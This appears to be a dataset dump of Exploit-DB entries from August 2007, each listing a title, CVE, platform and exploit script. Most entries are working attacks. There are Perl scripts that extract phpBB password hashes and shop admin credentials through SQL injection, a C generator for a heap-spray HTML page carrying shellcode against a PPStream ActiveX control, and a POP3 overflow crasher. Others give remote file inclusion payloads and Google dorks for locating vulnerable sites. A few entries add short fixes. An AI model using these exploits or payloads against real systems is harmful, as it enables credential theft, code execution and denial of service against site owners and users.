QLWD/code_shield huggingface dataset:
标题: phpBB Links MOD 1.2.2 - SQL Injection EDB-ID: 4346 CVE: 2007-4653 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-31 漏洞利用脚本: #!/usr/bin/perl

print q{

phpBB <= 2.0.22 - Links MOD <= v1.2.2 Remote SQL Injection Exploit

Bug discovered by Don
Dork: allinurl:links.php?t=search
   or: "Links MOD v1.2.2 by phpBB2.de"
SQL INJECTION: Exploit: links.php?t=search&search_keywords=asd&start=1,1%20UNION%20SELECT%201,username,user_password,4,5,6,7,8,9,10,11,12%20FROM%20phpbb_users%20WHERE%20user_id=2/*

};

use IO::Socket;

print q{
=> Insert URL
=> without ( http )
=> };
$server = <STDIN>;
chop ($server);
print q{
=> Insert directory
=> es: /forum/ - /phpBB2/
=> };
$dir = <STDIN>;
chop ($dir);
print q{
=> User ID
=> Number:
=> };
$user = <STDIN>;
chop ($user);
if (!$ARGV[2]) {
}
$myuser = $ARGV[3];
$mypass = $ARGV[4];
$myid = $ARGV[5];
$server =~ s/(http:\/\/)//eg;
$path = $dir;
$path .= "links.php?t=search&search_keywords=asd&start=1,1%20UNION%20SELECT%201,username,user_password,4,5,6,7,8,9,10,11,12%20FROM%20phpbb_users%20WHERE%20user_id=".$user."/*";
print "
Exploit in process...\r\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$server",
PeerPort => "80") || die "Exploit failed";
print "Exploit\r\n";
print "in process...\r\n";
print $socket "GET $path HTTP/1.1\r\n";
print $socket "Host: $server\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\r\n";
print "Exploit finished!\r\n\r\n";
while ($answer = <$socket>)
{
if ($answer =~/(\w{32})/)
{
if ($1 ne 0) {
print "MD5-Hash is: ".$1."\r\n";
}
exit();
}
}

# milw0rm.com [2007-08-31] URL: https://www.exploit-db.com/exploits/4346
标题: Hexamail Server 3.0.0.001 - 'pop3' Remote Overflow (PoC) EDB-ID: 4344 CVE: 2007-4646 类型: DOS 平台: WINDOWS 发布日期: 2007-08-30 漏洞利用脚本: <?php
/*

Hexamail Server 3.0.0.001 (pop3) pre-auth remote overflow poc

by rgod
http://retrogod.altervista.org

tested against the Lite one
this one crashes the entire server
you are in control of eax and ecx,
I think arbitrary code execution is possible
but a little tricky, see you soon ;)

vendor url: http://www.hexamail.com/hexamailserver/

*/

error_reporting(0);
if ($argc<2) {die("[!]Syntax: php $argv[0] [ip]\n");}
echo "[*]Connecting to target host...\n";
$fp=fsockopen($argv[1],110, $errno, $errstr, 5);
if (!$fp) {die("[!]unable to connect ...");}
else {echo "[*]connected...\n";}
$eax="XXXX";
$ecx="YYYY";
$bof="./".str_repeat("A",15).$eax.$ecx.str_repeat("A",1025);
$bof = "USER ".$bof."\r\n";
fputs($fp,$bof);
fgets($fp);
fclose($fp);
echo "[*]Sent.\n";
sleep(2);
$fp=fsockopen($argv[1],110, $errno, $errstr, 5);
if (!$fp) {echo "[*]exploit succeeded...\n";}
else {echo "[!]it seems not working...\n";}
?>

# milw0rm.com [2007-08-30] URL: https://www.exploit-db.com/exploits/4344
标题: ABC estore 3.0 - 'cat_id' Blind SQL Injection EDB-ID: 4338 CVE: 2007-4627 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-29 漏洞利用脚本: #!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[1])
{
 print "\n  |-------------------------------------------------|";
 print "\n  |               newhack[dot]org                   |";
 print "\n  |-------------------------------------------------|";
 print "\n  |   ABC estore 3.0 (cat_id) Blind SQL Injection   |";
 print "\n  |     Found by k1tk4t [k1tk4t(at)newhack.org]     |";
 print "\n  |   DNX Code [dnx(at)hackermail.com] | Modified   |";
 print "\n  |-------------------------------------------------|";
 print "\n[!] Vendor: http://www.webtoolup.com/";
 print "\n[!] Bug: in the index.php script, u can inject sql code in the (cat_id) parameter";
 print "\n[!] Need Subcategories Product for success exploit";
 print "\n[!] Usage: perl abcestore.pl [Host] [Path] <Options>";
 print "\n[!] Example: perl abcestore.pl 127.0.0.1 /shop/ -c 10 -o 1 -t store_config";
 print "\n[!] Options:";
 print "\n       -c [no]       Valid cat_id products with subcategories, default is 1";
 print "\n       -o [no]       1 = get username (default)";
 print "\n                     2 = get password";
 print "\n       -t [name]     Changes the admin table name, default is store_config";
 print "\n       -p [ip:port]  Proxy support";
 print "\n";
 exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $cat     = 1;
my $column  = "user";
my $table   = "store_config";
my %options = ();
GetOptions(\%options, "c=i", "o=i", "t=s", "p=s");

print "[!] Exploiting...\n";

if($options{"c"}) { $cat = $options{"c"}; }
if($options{"o"} && $options{"o"} == 2) { $column = "pass"; }
if($options{"t"}) { $table = $options{"t"}; }

syswrite(STDOUT, "[!] Data : ", 12);

for(my $i = 1; $i <= 32; $i++)
{
 my $found = 0;
 my $h = 48;
 while(!$found && $h <= 57)
 {
   if(istrue2($host, $path, $table, $i, $h))
   {
     $found = 1;
     syswrite(STDOUT, chr($h), 1);
   }
   $h++;
 }
 if(!$found)
 {
   $h = 97;
   while(!$found && $h <= 122)
   {
     if(istrue2($host, $path, $table, $i, $h))
     {
       $found = 1;
       syswrite(STDOUT, chr($h), 1);
     }
     $h++;
   }
 }
}

print "\n[!] Exploit done\n";

sub istrue2
{
 my $host  = shift;
 my $path  = shift;
 my $table = shift;
 my $i     = shift;
 my $h     = shift;

 my $ua = LWP::UserAgent->new;
 my $url = "http://".$host.$path."index.php?cat_id=".$cat."%20AND%20SUBSTRING((SELECT%20".$column."%20FROM%20".$table."%20LIMIT%200,1),".$i.",1)=CHAR(".$h.")";

 if($options{"p"})
 {
   $ua->proxy('http', "http://".$options{"p"});
 }

 my $response = $ua->get($url);
 my $content = $response->content;
 my $regexp = "Subcategories";

 if($content =~ /$regexp/)
 {
   return 1;
 }
 else
 {
   return 0;
 }
}

# milw0rm.com [2007-08-29] URL: https://www.exploit-db.com/exploits/4338
标题: NMDeluxe 2.0.0 - 'id' SQL Injection EDB-ID: 4342 CVE: 2007-4645 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-30 漏洞利用脚本: #########################################################################################
#
#                                    not sec group
#        http://www.notsec.com     info@notsec.com
#
#
#       [NMDeluxe 2.0.0]
#
# Class:     SQL Injection
# Found:     30/08/2007
# Remote:    Yes
# Site:      http://www.wsdeluxe.com/nmdeluxe/
# Download:  http://downloads.sourceforge.net/nmdeluxe/nmdeluxe2.0.0.zip?modtime=1178396844&big_mirror=0
#
#########################################################################################


      Vulnerable code:
      index.php
============================================================================================================
if($_GET['do'] == 'newspost')
{
  $newsid=addslashes($_GET['id']);

  $sql=mysql_query('SELECT * FROM `'.DB_PFX.'news` WHERE id = ' . $newsid . ' LIMIT ' . $nlim . '');
============================================================================================================


      Exploit :
============================================================================================================================================================================================
http://www.site.com/[nmdeluxe]/index.php?do=newspost&id=-1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,concat(username,0x3a,password)%20FROM%20nmd_user/*
============================================================================================================================================================================================


      Thanks To:
=================================
All notsec.com members;
White_Sheep for his Bugs Hunter;
=================================

# milw0rm.com [2007-08-30] URL: https://www.exploit-db.com/exploits/4342
标题: PHPNS 1.1 - 'shownews.php?id' SQL Injection EDB-ID: 4339 CVE: 2007-4628 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-29 漏洞利用脚本: PHPNS SQL Injection

Software: phpns current version (v1.1)
Vendor link: http://phpns.com
Attack: SQL Injection

Original advisory: http://14house.blogspot.com/2007/08/phpns-sql-injection.html

Discovered by: David Sopas Ferreira a.k.a SmOk3 < smok3f00 at gmail.com >

SQL Injection
-------------
An attacker may execute arbitrary SQL statements on the vulnerable
system. This may compromise the integrity of your database and/or
expose sensitive information. Vulnerable variable is $nid and maybe
others.

Proof of Concept:
/phpns/shownews.php?id=1'[SQL Injection]

Shows username : pass from userinfo
/phpns/shownews.php?id=1' union select all
null,null,concat(char(117,115,101,114,110,97,109,101,58),username,char(32,112,97,115,115,119,111,114,100,58),password),null,null,null
from userinfo/*


Solution:

Your script should filter metacharacters from user input.

Vendor:

Contacted and replyed that they are fixing it.

# milw0rm.com [2007-08-29] URL: https://www.exploit-db.com/exploits/4339
标题: phpBG 0.9.1 - 'rootdir' Remote File Inclusion EDB-ID: 4340 CVE: 2007-4636 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-29 漏洞利用脚本: # phpBG 0.9.1 (rootdir) Remote File Inclusion Vulnerability
# D.Script: http://phpbg.sourceforge.net/
# POC:
#   /intern/admin/other/backup.php?admin=1&rootdir=Shell
#   /intern/admin/?rootdir=Shell
#   /intern/clan/member_add.php?rootdir=Shell
#   /intern/config/key_2.php?rootdir=Shell
#   /intern/config/forum.php?rootdir=Shell
# Discovered by: GoLd_M = [Mahmood_ali]
# Thanx To : Tryag-Team & Asbmay's Group & All My Friends

# milw0rm.com [2007-08-29] URL: https://www.exploit-db.com/exploits/4340
标题: Yahoo! Messenger 8.1.0.413 - 'webcam' Remote Crash EDB-ID: 4335 CVE: 2007-4391 类型: DOS 平台: WINDOWS 发布日期: 2007-08-29 漏洞利用脚本: Yahoo! Messenger 8.1.0.413 (webcam) Remote Crash Exploit

1.compile the dll.
2. choose "invite to view my webcam" to a contact id who is online using yahoo! messenger.
3.when the otherside accept the invatation , inject the dll to local yahoo! messenger 8.1.0.413 's process.
4 . the otherside's yahoo! messenger will be crashed.

Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30500.rar (08292007-expyahoo.rar)

# milw0rm.com [2007-08-29] URL: https://www.exploit-db.com/exploits/4335
标题: Ourspace 2.0.9 - 'uploadmedia.cgi' Arbitrary File Upload EDB-ID: 4343 CVE: 2007-4647 类型: WEBAPPS 平台: CGI 发布日期: 2007-08-30 漏洞利用脚本: ++++++++++++++++++++++++++++++++++++
| Discovered by Breaker_unit & Don |
| Ourspace 2.0.9|
script info: http://www.codedworld.com/download/our-space/26931.html

Exploit: /cgi-bin/ourspace/newswire/uploadmedia.cgi
dork: inurl:"/cgi-bin/ourspace/

Greetz to:
Balcan Crew Members
h4cky0u.org
and my friends: str0ke & kw3rLn
+++++++++++++++++++++++++++++++++++++++

# milw0rm.com [2007-08-30] URL: https://www.exploit-db.com/exploits/4343
标题: xGB 2.0 - 'xGB.php' Remote Security Bypass EDB-ID: 4336 CVE: 2007-4637 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-29 漏洞利用脚本: /*
*
* xGB 2.0 (xGB.php) Remote Permission Bypass Vulnerability
* Bug discovered by DarkFuneral
* http://www.darkfuneral89.altervista.org/
*
* Affected Software: xGB
* CMS Site: "i don't know! :P"
* Severity: Critical
* Description: An attacker can edit all message in xGB
* Google Dork: allinurl:"xGb.php"
*
* E-Mail: darkfuneral89@gmail.com
* 
*
*
*
* Exploit Code: http://www.site.com/path/xGB.php?act=admin&do=edit
*
*
*
* Tested on www.culturebeach.de/guestbook.php
*
* Special Greetz to SystemFAILURE because I Love Him...
*
*/

# milw0rm.com [2007-08-29] URL: https://www.exploit-db.com/exploits/4336
标题: Microsoft Windows - 'gdi32.dll' Denial of Service (MS07-046) EDB-ID: 4337 CVE: 2007-3034 类型: DOS 平台: WINDOWS 发布日期: 2007-08-29 漏洞利用脚本: /*
 * MS07-046(GDI32.dll Integer overflow DOS) Proof Of Concept Code
 
 * by Hong Gil-Dong & Chun Woo-Chi

 * Yang yeon(?~1542), Korea
 * "I shall keep clenching my left fist unitl i see the real tao".

 * This POC is only for test. If an application read a malformed wmf 
 * file like this POC, the application will be crashed. If you apply 
 * this code, you can execute an arbitrary code.
 *

 * We tested this code on Windows XP SP2 Korean Edition 
 * (GDI32.dll version 5.1.2600.3099). But it will work well on other
 * systems.
 */

#include <stdio.h>
#include <windows.h>

#define WMF_FILE "ms07-046.wmf"

void usage(void);

int main()
{
 
 FILE *fp;

 char wmf[] = "\x01\x00\x09\x00\x00\x03\x11\x00\x00\x00\x00\x00"\
                 "\x05\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF\x13\x02"\
                 "\x32\x00\x96\x00\x03\x00\x00\x00\x00\x00";
 int i;
 
 HMETAFILE srcMeta;

    usage();

 if ((fp = fopen(WMF_FILE, "w")) == NULL) {
                printf("File %s write error\n", WMF_FILE);
                return 0;
 }

 for(i=0; i<sizeof(wmf)-1; i++)
  fputc(wmf[i], fp);

 fclose(fp);

    srcMeta = GetMetaFile(WMF_FILE);
    CopyMetaFile( srcMeta, NULL);

    return 0;
}

void usage(void) 
{
   printf("MS07-046 Windows Meta File RecordParms Integer Overflow \n");
   printf("Proof of Concept by Hong Gil-Dong & Chun Woo-Chi \n");
      
}

// milw0rm.com [2007-08-29] URL: https://www.exploit-db.com/exploits/4337
标题: Microsoft MSN Messenger 7.x/8.0? - Video Remote Heap Overflow EDB-ID: 4334 CVE: 2007-2931 类型: REMOTE 平台: WINDOWS 发布日期: 2007-08-29 漏洞利用脚本: MSN messenger 7.x (8.0?) VIDEO Remote Heap Overflow Exploit

thanks ole andre again, His ospy is perfect.

1.compile the dll.
2.inject the dll to msn messenger 7.0.777.0 's process.
3. choose "send my webcam" to a contact id who is online using 7.x (8.0?).
4.when the otherside accept the invatation , the otherside's msn will be at least crashed, if you using aChinese version windows 2000 sp4 , maybe a reverse shell , if other verison windows 2000, you need adjust the jmpa address in the dll's sourcecode. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30537.rar (08292007-exp_msn.rar)

# milw0rm.com [2007-08-29] URL: https://www.exploit-db.com/exploits/4334
标题: PPStream - 'PowerPlayer.dll 2.0.1.3829' ActiveX Remote Overflow EDB-ID: 4348 CVE: 2007-4748 类型: REMOTE 平台: WINDOWS 发布日期: 2007-08-31 漏洞利用脚本: // author: dummy
// written by dummyz@126.com (2007)

#define _CRT_SECURE_NO_DEPRECATE

#include <windows.h>
#include <stdio.h>

const unsigned char shellcode[174] = 
{
  0xE8, 0x00, 0x00, 0x00, 0x00, 0x6A, 0x03, 0xEB, 0x21, 0x7E, 0xD8, 0xE2, 0x73, 0x98, 0xFE, 0x8A, 
  0x0E, 0x8E, 0x4E, 0x0E, 0xEC, 0x55, 0x52, 0x4C, 0x4D, 0x4F, 0x4E, 0x00, 0x00, 0x36, 0x1A, 0x2F, 
  0x70, 0x63, 0x3A, 0x5C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00, 0x59, 0x5F, 0xAF, 0x67, 0x64, 0xA1, 
  0x30, 0x00, 0x8B, 0x40, 0x0C, 0x8B, 0x70, 0x1C, 0xAD, 0x8B, 0x68, 0x08, 0x51, 0x8B, 0x75, 0x3C, 
  0x8B, 0x74, 0x2E, 0x78, 0x03, 0xF5, 0x56, 0x8B, 0x76, 0x20, 0x03, 0xF5, 0x33, 0xC9, 0x49, 0x41, 
  0xAD, 0x03, 0xC5, 0x33, 0xDB, 0x0F, 0xBE, 0x10, 0x38, 0xF2, 0x74, 0x08, 0xC1, 0xCB, 0x0D, 0x03, 
  0xDA, 0x40, 0xEB, 0xF1, 0x3B, 0x1F, 0x75, 0xE7, 0x5E, 0x8B, 0x5E, 0x24, 0x03, 0xDD, 0x66, 0x8B, 
  0x0C, 0x4B, 0x8B, 0x5E, 0x1C, 0x03, 0xDD, 0x8B, 0x04, 0x8B, 0x03, 0xC5, 0xAB, 0x59, 0xE2, 0xBC, 
  0x8B, 0x0F, 0x80, 0xF9, 0x63, 0x74, 0x0A, 0x57, 0xFF, 0xD0, 0x95, 0xAF, 0xAF, 0x6A, 0x01, 0xEB, 
  0xAC, 0x52, 0x52, 0x57, 0x8D, 0x8F, 0xDB, 0x10, 0x40, 0x00, 0x81, 0xE9, 0x4E, 0x10, 0x40, 0x00, 
  0x51, 0x52, 0xFF, 0xD0, 0x6A, 0x01, 0x57, 0xFF, 0x57, 0xEC, 0xFF, 0x57, 0xE8, 0x90
};

const char* script1 = \
  "<html><body><object id=\"ppc\" classid=\"clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458\"></object><script>"
  "var shellcode = unescape(\"";
const char* script2 = \
  "\");"
  "bigblock = unescape(\"%u9090\");"
  "headersize = 20;"
  "slackspace = headersize + shellcode.length;"
  "while ( bigblock.length < slackspace ) bigblock += bigblock;"
  "fillblock = bigblock.substring(0, slackspace);"
  "block = bigblock.substring(0, bigblock.length - slackspace);"
  "while(block.length + slackspace < 0x40000) block = block + block + fillblock;"
  "memory = new Array();"
  "for (x=0; x< 400; x++) memory[x] = block + shellcode;"
  "var buffer = '\\x0a';"
  "while (buffer.length < 500) buffer += '\\x0a\\x0a\\x0a\\x0a';"
  "ppc.Logo = buffer;"
  "</script>"
  "</body>"
  "</html>";

int main(int argc, char* argv[])
{
  if ( argc != 2 )
  {
    printf("ex:fuckpps url\nwritten by dummyz@126.com (2007)\n");
    return -1;
  }

  FILE *file = fopen("fuckpps.html", "w+");
  if ( file == NULL )
  {
    printf("create 'fuckpps.html' failed!\n");
    return -2;
  }

  fprintf(file, "%s", script1);
  for ( unsigned i = 0; i < sizeof (shellcode); i += 2 )
    fprintf(file, "%%u%02X%02X" , shellcode[i + 1], shellcode[i]);
  
  const unsigned l = strlen(argv[1]);
  for ( unsigned j = 0; j < l; j += 2 )
    fprintf(file, "%%u%02X%02X" , argv[1][j + 1], argv[1][j]);

  fprintf(file, "%s", script2);
  fclose(file);

  printf("make 'fuckpps.html' successed!\n");

  return 0;
}

// milw0rm.com [2007-08-31] URL: https://www.exploit-db.com/exploits/4348
标题: Arcadem 2.01 - SQL Injection / Remote File Inclusion EDB-ID: 4326 CVE: 2007-4551 2007-4552 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-27 漏洞利用脚本: Arcadem Remote File Inclusion Flaw / SQL Injection

Software: Arcadem 2.01
Vendor link: http://agaresmedia.com
Attack: Remote File Inclusion / SQL Injection
Original advisory:
http://14house.blogspot.com/2007/08/arcadem-rfi-sql-injection-flaws.html

Discovered by: David Sopas Ferreira a.k.a SmOk3 < smok3f00 at gmail.com >

Google dork:"Powered by AMCMS3"

Remote File Inclusion
---------------------
It is possible for a remote attacker to include a file from local or
remote resources and/or execute arbitrary script code with the
privileges of the webserver.

Proof of Concept:

index.php?loadpage=../../../../file
index.php?loadpage=[evilscript]

Solution:

Edit the source code to ensure that input is properly validated. Where
is possible, it is recommended to make a list of accepted filenames
and restrict the input to that list.

For PHP, the option allow_url_fopen would normally allow a programmer
to open, include or otherwise use a remote file using a URL rather
than a local file path. It is recommended to disable this option from
php.ini.


SQL Injection
-------------
An attacker may execute arbitrary SQL statements on the vulnerable
system. This may compromise the integrity of your database and/or
expose sensitive information.

Proof of Concept:

index.php?blockpage=%2E%2Findex%2Ephp
%3Fblockpage%3D1%26cat%3D&cat=[SQL Injection]
index.php?blockpage=%2E%2Findex%2Ephp
%3Fblockpage%3D1%26cat%3D&cat='


Solution:

Your script should filter metacharacters from user input.


Vendor was contacted by email and didn't not replied.

# milw0rm.com [2007-08-27] URL: https://www.exploit-db.com/exploits/4326
标题: VWar 1.5.0 R15 - 'mvcw.php' Remote File Inclusion EDB-ID: 4332 CVE: 2007-4605 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-28 漏洞利用脚本: \#'#/
                            (-.-)
   --------------------oOO---(_)---OOo--------------------
   | VWar <= v1.5.0 R15 (mvcw.php) Remote File Inclusion |
   |                    coded by DNX                     |
   -------------------------------------------------------
[!] Discovered: DNX
[!] Vendor: http://www.vwar.de
[!] Detected: 26.02.2007
[!] Reported: 27.02.2007
[!] Remote: yes

[!] Background: VWar is a team organizer based on PHP and MySQL

[!] Bug: $vwar_root in convert/mvcw.php

[!] PoC:
    - http://[site]/[path]/convert/mvcw.php?vwar_root=[xss]
    - http://[site]/[path]/convert/mvcw.php?step=1&vwar_root=[shell]

[!] Example:
    - http://127.0.0.1/vwar/convert/mvcw.php?step=1&vwar_root=http//127.0.0.1/shell.txt?

[!] Warning: "step=1" deletes all data from the tables vwar, vwar_opponents,
    vwar_scores and vwar_screen in the database

[!] Solution: No update from vendor till now

[!] Quick fix in convert/mvcw.php line 79:
    - replace:
 if ($GPC['step'] == 1)
 {
  // clean tables

    - with:
 if ($GPC['step'] == 1)
 {
  $vwar_root = "./../";
  // clean tables

# milw0rm.com [2007-08-28] URL: https://www.exploit-db.com/exploits/4332
标题: PHPNuke-Clan 4.2.0 - 'mvcw_conver.php' Remote File Inclusion EDB-ID: 4333 CVE: 2007-4606 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-28 漏洞利用脚本: \#'#/
                                  (-.-)
   --------------------------oOO---(_)---OOo-------------------------
   | PHPNuke-Clan <= v4.2.0 (mvcw_conver.php) Remote File Inclusion |
   |                          coded by DNX                          |
   ------------------------------------------------------------------
[!] Discovered: DNX
[!] Vendor: http://www.phpnuke-clan.net
[!] Detected: 11.08.2007
[!] Reported: 11.08.2007
[!] Remote: yes

[!] Background: PHPNuke-Clan is a clan management system based on PHP and MySQL

[!] Bug: $vwar_root in modules/vwar/convert/mvcw_conver.php

[!] PoC:
    - http://[site]/[path]/modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=[shell]

[!] Example:
    - http://127.0.0.1/pnc/modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http//127.0.0.1/shell.txt?

[!] Warning: "step=1" deletes all data from the tables vwar, vwar_opponents,
    vwar_scores and vwar_screen in the database

[!] Solution: No update from vendor till now

[!] Quick fix in modules/vwar/convert/mvcw_conver.php line 79:
    - replace:
 if ($GPC['step'] == 1)
 {
  // clean tables

    - with:
 if ($GPC['step'] == 1)
 {
  $vwar_root = "./../";
  // clean tables

# milw0rm.com [2007-08-28] URL: https://www.exploit-db.com/exploits/4333
标题: DL PayCart 1.01 - 'viewitem.php?ItemID' Blind SQL Injection EDB-ID: 4331 CVE: 2007-4604 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-28 漏洞利用脚本: #!/usr/bin/perl -w
use HTTP::Request;
use LWP::UserAgent;
#---------------------------------------------------------------------------------
# scripts       : DL PayCart 1.01 - (c) 2006
# Discovered By : irvian
# scripts site  : http://www.dinkumsoft.com/
# Thanks To
# bot        : sqlscan, hantu_internet, xcart
# chanell    : #hitamputih #nyubicrew #patihack and my private channel noscan
# Friend     : nyubi, ibnusina, arioo, jipank,ifx and all my friend
#---------------------------------------------------------------------------------
if (@ARGV < 2){
die "
use      : $0 host option
example  : $0 http://victim.com 1

1= AdminID
2= AdminPass\n";}


$url = $ARGV[0];
$option = $ARGV[1];


print "\r\n[+]-----------------------------------------[+]\r\n";
print "[+]Blind SQL injection                [+]\r\n";
print "[+]DL PayCart 1.01 - (c) 2006            [+]\r\n";
print "[+]code by irvian                    [+]\r\n";
print "[+]special To : ifx, arioo, jipank        [+]\r\n";
print "[+]-----------------------------------------[+]\n\r";

if ($option eq 1){
syswrite(STDOUT, "AdminID: ", 9);}
elsif ($option eq 2){
syswrite(STDOUT, "AdminPass: ", 11);}

for($i = 1; $i <= 32; $i++){
 $f = 0;
 $n = 32;
 while(!$f && $n <= 255)
 {
  if(&blind($url, $option, $i, $n,)){
 $f = 1;
     syswrite(STDOUT, chr($n), 1);
   }
$n++;
}
}

print "\n[+]finish Execution Exploit\n";



sub blind {
my $site = $_[0];
my $op = $_[1];
my $az = $_[2];
my $na = $_[3];

if ($op eq 1){$klm = "AdminID";}
elsif ($op eq 2){$klm = "AdminPass";}

$blind = "$site"."/viewitem.php?ItemID=1'/**/and/**/substring((select/**/"."$klm"."/**/from/**/pc_settings/**/limit/**/0,1),"."$az".",1)=char("."$na".")/*";

$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$req = $b->request(HTTP::Request->new(GET=>$blind));
$res = $req->content;

if ($res !~ /noimage.gif/i){
    return 1;
}

}

# milw0rm.com [2007-08-28] URL: https://www.exploit-db.com/exploits/4331
标题: ACG News 1.0 - 'aid'/'catid' SQL Injection EDB-ID: 4330 CVE: 2007-4603 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-28 漏洞利用脚本: ACG News SQL Injection

Software: ACG News 1.0
Vendor link: http://www.altercoder.com
Vendor Demo link: http://acgnews.uw.hu/index.php
Attack: SQL Injection

Original Advisory:
http://14house.blogspot.com/2007/08/acg-news-sql-injection.html

Discovered by: David Sopas Ferreira a.k.a SmOk3 < smok3f00 at gmail.com >

SQL Injection
-------------
An attacker may execute arbitrary SQL statements on the vulnerable
system. This may compromise the integrity of your database and/or
expose sensitive information. Vulnerable variables are $aid and $catid
on index.php file.

Proof of Concept:
index.php?menu=showarticle&aid=[SQL INJECTION]
index.php?menu=showarticle&aid=-3 UNION ALL SELECT 1,@@version,3,4,5,user(),7

index.php?menu=showcat&catid=[SQL INJECTION]
index.php?menu=showcat&catid=-3 UNION ALL SELECT 1,@@version


Solution:

Your script should filter metacharacters from user input.


Vendor contacted but I'm waiting for reply.

# milw0rm.com [2007-08-28] URL: https://www.exploit-db.com/exploits/4330